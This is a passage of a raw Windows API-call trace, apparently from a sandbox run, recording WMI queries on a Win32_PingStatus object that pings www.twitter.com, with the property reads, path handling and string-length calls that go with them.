pType=0x227f8dc*=0, plFlavor=0x227f8e0*=0 | out: pVal=0x5bde8b4*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="", varVal2=0x0), pType=0x227f8dc*=8, plFlavor=0x227f8e0*=0) returned 0x0 [0162.874] SysStringByteLen (bstr="") returned 0x0 [0162.874] SysStringByteLen (bstr="") returned 0x0 [0162.874] IWbemClassObject:Get (in: This=0x5f6b650, wszName="SourceRouteType", lFlags=0, pVal=0x5bde8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x227f940*=0, plFlavor=0x227f944*=0 | out: pVal=0x5bde8b4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x227f940*=19, plFlavor=0x227f944*=0) returned 0x0 [0162.874] IWbemClassObject:Get (in: This=0x5f6b650, wszName="StatusCode", lFlags=0, pVal=0x5bde8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x227f9b0*=0, plFlavor=0x227f9b4*=0 | out: pVal=0x5bde8b4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x227f9b0*=19, plFlavor=0x227f9b4*=0) returned 0x0 [0162.874] IWbemClassObject:Get (in: This=0x5f6b650, wszName="Timeout", lFlags=0, pVal=0x5bde8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x227fe58*=0, plFlavor=0x227fe5c*=0 | out: pVal=0x5bde8b4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xfa0, varVal2=0x0), pType=0x227fe58*=19, plFlavor=0x227fe5c*=0) returned 0x0 [0162.875] IWbemClassObject:Get (in: This=0x5f6b650, wszName="TimeStampRecord", lFlags=0, pVal=0x5bde8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x227fec8*=0, plFlavor=0x227fecc*=0 | out: pVal=0x5bde8b4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x227fec8*=8211, plFlavor=0x227fecc*=32) returned 0x0 [0162.875] IWbemClassObject:Get (in: This=0x5f6b650, wszName="TimeStampRecordAddress", lFlags=0, pVal=0x5bde8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x227ff2c*=0, plFlavor=0x227ff30*=0 | out: pVal=0x5bde8b4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x227ff2c*=8200, plFlavor=0x227ff30*=32) returned 0x0 [0162.875] IWbemClassObject:Get (in: This=0x5f6b650, wszName="TimeStampRecordAddressResolved", lFlags=0, pVal=0x5bde8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x227ff90*=0, plFlavor=0x227ff94*=0 | out: pVal=0x5bde8b4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x227ff90*=8200, plFlavor=0x227ff94*=32) returned 0x0 [0162.875] IWbemClassObject:Get (in: This=0x5f6b650, wszName="TimestampRoute", lFlags=0, pVal=0x5bde8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x227fff4*=0, plFlavor=0x227fff8*=0 | out: pVal=0x5bde8b4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x227fff4*=19, plFlavor=0x227fff8*=0) returned 0x0 [0162.875] IWbemClassObject:Get (in: This=0x5f6b650, wszName="TimeToLive", lFlags=0, pVal=0x5bde8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2280064*=0, plFlavor=0x2280068*=0 | out: pVal=0x5bde8b4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x50, varVal2=0x0), pType=0x2280064*=19, plFlavor=0x2280068*=0) returned 0x0 [0162.876] IWbemClassObject:Get (in: This=0x5f6b650, wszName="TypeofService", lFlags=0, pVal=0x5bde8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22801e0*=0, plFlavor=0x22801e4*=0 | out: pVal=0x5bde8b4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22801e0*=19, plFlavor=0x22801e4*=0) returned 0x0 [0162.876] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__SERVER", lFlags=0, pVal=0x5bde848*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5bde8cc*=0, plFlavor=0x5bde8c8*=0 | out: pVal=0x5bde848*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x5bde8cc*=8, plFlavor=0x5bde8c8*=64) returned 0x0 [0162.876] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0162.876] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0162.876] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__NAMESPACE", lFlags=0, pVal=0x5bde848*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5bde8cc*=8, plFlavor=0x5bde8c8*=64 | out: pVal=0x5bde848*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x5bde8cc*=8, plFlavor=0x5bde8c8*=64) returned 0x0 [0162.876] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0162.876] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0162.876] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__CLASS", lFlags=0, pVal=0x5bde848*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5bde8cc*=8, plFlavor=0x5bde8c8*=64 | out: pVal=0x5bde848*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x5bde8cc*=8, plFlavor=0x5bde8c8*=64) returned 0x0 [0162.876] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0162.876] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0162.877] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x558 [0162.877] SetEvent (hEvent=0x3f4) returned 1 [0162.877] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x5bde7a4*=0x558, lpdwindex=0x5bde5c8 | out: lpdwindex=0x5bde5c8) returned 0x0 [0162.881] CoGetContextToken (in: pToken=0x5bde67c | out: pToken=0x5bde67c) returned 0x0 [0162.881] CoGetContextToken (in: pToken=0x5bde5dc | out: pToken=0x5bde5dc) returned 0x0 [0162.881] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df2a0, riid=0x5bde6ac*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x5bde6a8 | out: ppvObject=0x5bde6a8*=0x5df2a0) returned 0x0 [0162.881] WbemDefPath:IUnknown:AddRef (This=0x5df2a0) returned 0x3 [0162.881] WbemDefPath:IUnknown:Release (This=0x5df2a0) returned 0x2 [0162.881] WbemDefPath:IWbemPath:SetText (This=0x5df2a0, uMode=0x4, pszPath="") returned 0x0 [0162.881] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x560 [0162.881] SetEvent (hEvent=0x3f4) returned 1 [0162.881] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x5bde7a4*=0x560, lpdwindex=0x5bde5c8 | out: lpdwindex=0x5bde5c8) returned 0x0 [0162.885] CoGetContextToken (in: pToken=0x5bde67c | out: pToken=0x5bde67c) returned 0x0 [0162.885] CoGetContextToken (in: pToken=0x5bde5dc | out: pToken=0x5bde5dc) returned 0x0 [0162.885] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df310, riid=0x5bde6ac*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x5bde6a8 | out: ppvObject=0x5bde6a8*=0x5df310) returned 0x0 [0162.885] WbemDefPath:IUnknown:AddRef (This=0x5df310) returned 0x3 [0162.885] WbemDefPath:IUnknown:Release (This=0x5df310) returned 0x2 [0162.885] WbemDefPath:IWbemPath:SetText (This=0x5df310, uMode=0x4, pszPath="") returned 0x0 [0162.885] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df310, puCount=0x5bde848 | out: puCount=0x5bde848*=0x0) returned 0x0 [0162.885] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df2a0, puCount=0x5bde848 | out: puCount=0x5bde848*=0x0) returned 0x0 [0162.885] WbemDefPath:IWbemPath:GetClassName (in: This=0x5df310, puBuffLength=0x5bde8a0*=0x0, pszName=0x0 | out: puBuffLength=0x5bde8a0*=0x0, pszName=0x0) returned 0x8004103a [0162.885] WbemDefPath:IWbemPath:GetServer (in: This=0x5df310, puNameBufLength=0x5bde89c*=0x0, pName=0x0 | out: puNameBufLength=0x5bde89c*=0x0, pName=0x0) returned 0x80041009 [0162.885] WbemDefPath:IWbemPath:SetServer (This=0x5df310, Name="Q9IATRKPRH") returned 0x0 [0162.886] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4e0 [0162.886] SetEvent (hEvent=0x3f4) returned 1 [0162.886] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x5bde7a4*=0x4e0, lpdwindex=0x5bde5c8 | out: lpdwindex=0x5bde5c8) returned 0x0 [0162.889] CoGetContextToken (in: pToken=0x5bde67c | out: pToken=0x5bde67c) returned 0x0 [0162.889] CoGetContextToken (in: pToken=0x5bde5dc | out: pToken=0x5bde5dc) returned 0x0 [0162.889] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df620, riid=0x5bde6ac*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x5bde6a8 | out: ppvObject=0x5bde6a8*=0x5df620) returned 0x0 [0162.889] WbemDefPath:IUnknown:AddRef (This=0x5df620) returned 0x3 [0162.889] WbemDefPath:IUnknown:Release (This=0x5df620) returned 0x2 [0162.889] WbemDefPath:IWbemPath:SetText (This=0x5df620, uMode=0x4, pszPath="root\\cimv2") returned 0x0 [0162.889] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df310, puCount=0x5bde848 | out: puCount=0x5bde848*=0x0) returned 0x0 [0162.889] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df620, puCount=0x5bde848 | out: puCount=0x5bde848*=0x2) returned 0x0 [0162.889] WbemDefPath:IWbemPath:GetText (in: This=0x5df620, lFlags=16, puBuffLength=0x5bde844*=0x0, pszText=0x0 | out: puBuffLength=0x5bde844*=0xb, pszText=0x0) returned 0x0 [0162.889] WbemDefPath:IWbemPath:GetText (in: This=0x5df620, lFlags=16, puBuffLength=0x5bde844*=0xb, pszText="0000000000" | out: puBuffLength=0x5bde844*=0xb, pszText="root\\cimv2") returned 0x0 [0162.889] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x5df310) returned 0x0 [0162.889] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df620, puCount=0x5bde880 | out: puCount=0x5bde880*=0x2) returned 0x0 [0162.889] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x5df620, uIndex=0x0, puNameBufLength=0x5bde87c*=0x0, pName=0x0 | out: puNameBufLength=0x5bde87c*=0x5, pName=0x0) returned 0x0 [0162.889] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x5df620, uIndex=0x0, puNameBufLength=0x5bde87c*=0x5, pName="0000" | out: puNameBufLength=0x5bde87c*=0x5, pName="root") returned 0x0 [0162.889] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x5df310, uIndex=0x0, pszName="root") returned 0x0 [0162.889] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x5df620, uIndex=0x1, puNameBufLength=0x5bde87c*=0x0, pName=0x0 | out: puNameBufLength=0x5bde87c*=0x6, pName=0x0) returned 0x0 [0162.889] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x5df620, uIndex=0x1, puNameBufLength=0x5bde87c*=0x6, pName="00000" | out: puNameBufLength=0x5bde87c*=0x6, pName="cimv2") returned 0x0 [0162.890] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x5df310, uIndex=0x1, pszName="cimv2") returned 0x0 [0162.890] WbemDefPath:IWbemPath:GetClassName (in: This=0x5df310, puBuffLength=0x5bde8a0*=0x0, pszName=0x0 | out: puBuffLength=0x5bde8a0*=0x0, pszName=0x0) returned 0x8004103a [0162.890] WbemDefPath:IWbemPath:SetClassName (This=0x5df310, Name="Win32_PingStatus") returned 0x0 [0162.890] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df310, puCount=0x5bde8e4 | out: puCount=0x5bde8e4*=0x2) returned 0x0 [0162.890] WbemDefPath:IWbemPath:GetText (in: This=0x5df310, lFlags=4, puBuffLength=0x5bde8e0*=0x0, pszText=0x0 | out: puBuffLength=0x5bde8e0*=0x29, pszText=0x0) returned 0x0 [0162.890] WbemDefPath:IWbemPath:GetText (in: This=0x5df310, lFlags=4, puBuffLength=0x5bde8e0*=0x29, pszText="0000000000000000000000000000000000000000" | out: puBuffLength=0x5bde8e0*=0x29, pszText="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus") returned 0x0 [0162.893] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde860 | out: puCount=0x5bde860*=0x2) returned 0x0 [0162.893] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde85c*=0x0, pszText=0x0 | out: puBuffLength=0x5bde85c*=0xf, pszText=0x0) returned 0x0 [0162.893] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde85c*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde85c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0162.893] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde860 | out: puCount=0x5bde860*=0x2) returned 0x0 [0162.893] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde85c*=0x0, pszText=0x0 | out: puBuffLength=0x5bde85c*=0xf, pszText=0x0) returned 0x0 [0162.893] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde85c*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde85c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0162.893] IWbemClassObject:GetNames (in: This=0x5f6b650, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x5bde868*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x5bde85c | out: pNames=0x5bde85c*="\x01ƀ\x04") returned 0x0 [0162.893] SafeArrayGetDim (psa=0x5f8aeb0) returned 0x1 [0162.893] SafeArrayGetDim (psa=0x5f8aeb0) returned 0x1 [0162.894] SafeArrayGetLBound (in: psa=0x5f8aeb0, nDim=0x1, plLbound=0x5bde6f4 | out: plLbound=0x5bde6f4) returned 0x0 [0162.894] SysStringByteLen (bstr="__GENUS") returned 0xe [0162.894] SysStringByteLen (bstr="__GENUS") returned 0xe [0162.894] SysStringByteLen (bstr="__CLASS") returned 0xe [0162.894] SysStringByteLen (bstr="__CLASS") returned 0xe [0162.894] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0162.894] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0162.894] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0162.894] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0162.894] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0162.894] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0162.894] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0162.894] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0162.894] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0162.894] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0162.894] SysStringByteLen (bstr="__SERVER") returned 0x10 [0162.894] SysStringByteLen (bstr="__SERVER") returned 0x10 [0162.894] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0162.894] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0162.895] SysStringByteLen (bstr="__PATH") returned 0xc [0162.895] SysStringByteLen (bstr="__PATH") returned 0xc [0162.895] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__GENUS", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2288a40*=0, plFlavor=0x2288a44*=0 | out: pVal=0x5bde858*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2288a40*=3, plFlavor=0x2288a44*=64) returned 0x0 [0162.895] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__CLASS", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2288a74*=0, plFlavor=0x2288a78*=0 | out: pVal=0x5bde858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2288a74*=8, plFlavor=0x2288a78*=64) returned 0x0 [0162.895] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0162.895] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0162.895] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__SUPERCLASS", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2288acc*=0, plFlavor=0x2288ad0*=0 | out: pVal=0x5bde858*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2288acc*=8, plFlavor=0x2288ad0*=64) returned 0x0 [0162.895] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__DYNASTY", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2288b00*=0, plFlavor=0x2288b04*=0 | out: pVal=0x5bde858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2288b00*=8, plFlavor=0x2288b04*=64) returned 0x0 [0162.895] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0162.895] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0162.896] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__RELPATH", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2288b58*=0, plFlavor=0x2288b5c*=0 | out: pVal=0x5bde858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2288b58*=8, plFlavor=0x2288b5c*=64) returned 0x0 [0162.896] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0162.896] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0162.896] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2288d34*=0, plFlavor=0x2288d38*=0 | out: pVal=0x5bde858*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x2288d34*=3, plFlavor=0x2288d38*=64) returned 0x0 [0162.896] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__DERIVATION", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2288d68*=0, plFlavor=0x2288d6c*=0 | out: pVal=0x5bde858*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f8ae80*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5fc3e80, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2288d68*=8200, plFlavor=0x2288d6c*=64) returned 0x0 [0162.896] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__SERVER", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2288d9c*=0, plFlavor=0x2288da0*=0 | out: pVal=0x5bde858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x2288d9c*=8, plFlavor=0x2288da0*=64) returned 0x0 [0162.896] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0162.896] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0162.896] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde894 | out: puCount=0x5bde894*=0x2) returned 0x0 [0162.896] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde890*=0x0, pszText=0x0 | out: puBuffLength=0x5bde890*=0xf, pszText=0x0) returned 0x0 [0162.896] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde890*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde890*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0162.896] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde894 | out: puCount=0x5bde894*=0x2) returned 0x0 [0162.896] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde890*=0x0, pszText=0x0 | out: puBuffLength=0x5bde890*=0xf, pszText=0x0) returned 0x0 [0162.897] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde890*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde890*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0162.897] IWbemClassObject:GetNames (in: This=0x5f6b650, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x5bde89c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x5bde890 | out: pNames=0x5bde890*="\x01ƀ\x04") returned 0x0 [0162.897] SafeArrayGetDim (psa=0x5f8af10) returned 0x1 [0162.897] SafeArrayGetDim (psa=0x5f8af10) returned 0x1 [0162.897] SafeArrayGetLBound (in: psa=0x5f8af10, nDim=0x1, plLbound=0x5bde728 | out: plLbound=0x5bde728) returned 0x0 [0162.897] SysStringByteLen (bstr="__GENUS") returned 0xe [0162.897] SysStringByteLen (bstr="__GENUS") returned 0xe [0162.897] SysStringByteLen (bstr="__CLASS") returned 0xe [0162.897] SysStringByteLen (bstr="__CLASS") returned 0xe [0162.897] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0162.897] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0162.897] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0162.897] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0162.897] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0162.897] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0162.897] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0162.897] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0162.897] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0162.897] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0162.898] SysStringByteLen (bstr="__SERVER") returned 0x10 [0162.898] SysStringByteLen (bstr="__SERVER") returned 0x10 [0162.898] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0162.898] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0162.898] SysStringByteLen (bstr="__PATH") returned 0xc [0162.898] SysStringByteLen (bstr="__PATH") returned 0xc [0162.898] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__GENUS", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x228917c*=0, plFlavor=0x2289180*=0 | out: pVal=0x5bde88c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x228917c*=3, plFlavor=0x2289180*=64) returned 0x0 [0162.898] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__CLASS", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22891b0*=0, plFlavor=0x22891b4*=0 | out: pVal=0x5bde88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22891b0*=8, plFlavor=0x22891b4*=64) returned 0x0 [0162.898] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0162.898] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0162.898] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__SUPERCLASS", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2289208*=0, plFlavor=0x228920c*=0 | out: pVal=0x5bde88c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2289208*=8, plFlavor=0x228920c*=64) returned 0x0 [0162.899] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__DYNASTY", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2289230*=0, plFlavor=0x2289234*=0 | out: pVal=0x5bde88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2289230*=8, plFlavor=0x2289234*=64) returned 0x0 [0162.899] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0162.899] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0162.899] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__RELPATH", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2289288*=0, plFlavor=0x228928c*=0 | out: pVal=0x5bde88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2289288*=8, plFlavor=0x228928c*=64) returned 0x0 [0162.899] SysStringByteLen 